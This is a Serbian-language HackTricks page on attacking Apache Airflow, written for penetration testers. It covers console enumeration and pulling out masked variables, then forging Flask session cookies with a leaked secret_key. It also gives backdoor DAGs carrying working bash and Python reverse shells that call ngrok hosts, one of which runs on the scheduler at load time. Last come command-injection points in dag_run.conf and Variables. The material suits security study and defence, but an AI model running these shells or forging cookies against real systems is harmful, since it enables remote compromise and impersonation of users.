Apache Airflow Security

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Apache Airflow služi kao platforma za orkestraciju i zakazivanje podatkovnih tokova ili radnih procesa. Pojam "orkestracija" u kontekstu podatkovnih tokova označava proces organizovanja, koordinacije i upravljanja složenim podatkovnim tokovima koji potiču iz različitih izvora. Osnovna svrha ovih orkestriranih podatkovnih tokova je da obezbede obrađene i upotrebljive skupove podataka. Ovi skupovi podataka se široko koriste u raznim aplikacijama, uključujući, ali ne ograničavajući se na alate za poslovnu inteligenciju, modele za nauku o podacima i mašinsko učenje, koji su osnovni za funkcionisanje aplikacija velikih podataka.

U osnovi, Apache Airflow će vam omogućiti da zakazujete izvršavanje koda kada se nešto (događaj, cron) desi.

Lokalni Lab

Docker-Compose

Možete koristiti konfiguracioni fajl docker-compose sa https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml da pokrenete kompletan Apache Airflow docker okruženje. (Ako koristite MacOS, obavezno dodelite barem 6GB RAM-a docker virtuelnoj mašini).

Minikube

Jedan jednostavan način da pokrenete Apache Airflow je da ga pokrenete sa Minikube-om:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Konfiguracija Airflow-a

Airflow može čuvati osetljive informacije u svojoj konfiguraciji ili možete pronaći slabe konfiguracije:

Airflow Configuration

Airflow RBAC

Pre nego što počnete napadati Airflow, trebalo bi da razumete kako dozvole funkcionišu:

Airflow RBAC

Napadi

Enumeracija Web Konzole

Ako imate pristup web konzoli, možda ćete moći da pristupite nekim ili svim sledećim informacijama:

  • Promenljive (Ovde se možda čuvaju prilagođene osetljive informacije)

  • Konekcije (Ovde se možda čuvaju prilagođene osetljive informacije)

  • Pristupite im na http://<airflow>/connection/list/

  • Konfiguracija (Osetljive informacije poput secret_key i lozinke mogu biti ovde sačuvane)

  • Lista korisnika i uloga

  • Kod svakog DAG-a (koji može sadržati zanimljive informacije)

Dobijanje Vrednosti Promenljivih

Promenljive se mogu čuvati u Airflow-u tako da DAG-ovi mogu pristupiti njihovim vrednostima. Slično je tajnama drugih platformi. Ako imate dovoljno dozvola, možete im pristupiti u GUI-u na http://<airflow>/variable/list/. Airflow će podrazumevano prikazati vrednost promenljive u GUI-u, međutim, prema ovome, moguće je postaviti listu promenljivih čija će vrednost biti prikazana kao zvezdice u GUI-u.

Međutim, ove vrednosti i dalje mogu biti dobijene putem CLI-ja (morate imati pristup bazi podataka), proizvoljno izvršavanje DAG-a, API pristupanje tački promenljivih (API mora biti aktiviran) i čak sam GUI! Da biste pristupili tim vrednostima iz GUI-a, jednostavno izaberite promenljive do kojih želite da pristupite i kliknite na Akcije -> Izvoz. Još jedan način je izvršiti bruteforce na skrivenoj vrednosti koristeći pretragu filtriranja dok je ne dobijete:

Eskalacija Privilegija

Ako je konfiguracija expose_config postavljena na True, od korisnika sa ulogom Korisnik i više mogu čitati konfiguraciju na webu. U ovoj konfiguraciji, secret_key se pojavljuje, što znači da bilo koji korisnik sa ovim validnim ključem može napraviti svoj potpisani kolačić da se predstavi kao bilo koji drugi korisnički nalog.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Backdoor (RCE u Airflow radniku)

Ako imate pristup za pisanje na mestu gde se DAG-ovi čuvaju, možete jednostavno napraviti jedan koji će vam poslati obrnutu ljusku. Imajte na umu da će se ova obrnuta ljuska izvršiti unutar kontejnera za radnike Airflow-a:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Povratna vrata (RCE u Airflow planeru)

Ako postavite nešto da se izvrši u korenu koda, u trenutku pisanja ovog teksta, to će biti izvršeno od strane planera nakon nekoliko sekundi od postavljanja u fasciklu sa DAG-om.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Kreiranje DAG-a

Ukoliko uspete da kompromitujete mašinu unutar DAG klastera, možete kreirati nove DAG skripte u dags/ folderu i one će biti replikovane na ostalim mašinama unutar DAG klastera.

Umetanje Koda u DAG

Kada izvršite DAG iz GUI-ja, možete proslediti argumente. Stoga, ako DAG nije pravilno napisan, može biti ranjiv na Umetanje Komandi. To se desilo u ovom CVE-u: https://www.exploit-db.com/exploits/49927

Sve što treba da znate da biste počeli da tražite umetanja komandi u DAG-ovima jeste da se parametri pristupaju kodom dag_run.conf.get("ime_parametra").

Osim toga, ista ranjivost može se pojaviti i sa promenljivama (imajte na umu da sa dovoljno privilegija možete kontrolisati vrednost promenljivih u GUI-ju). Promenljive se pristupaju sa:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Ako se na primer koriste unutar bash komande, moguće je izvršiti ubacivanje komande.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated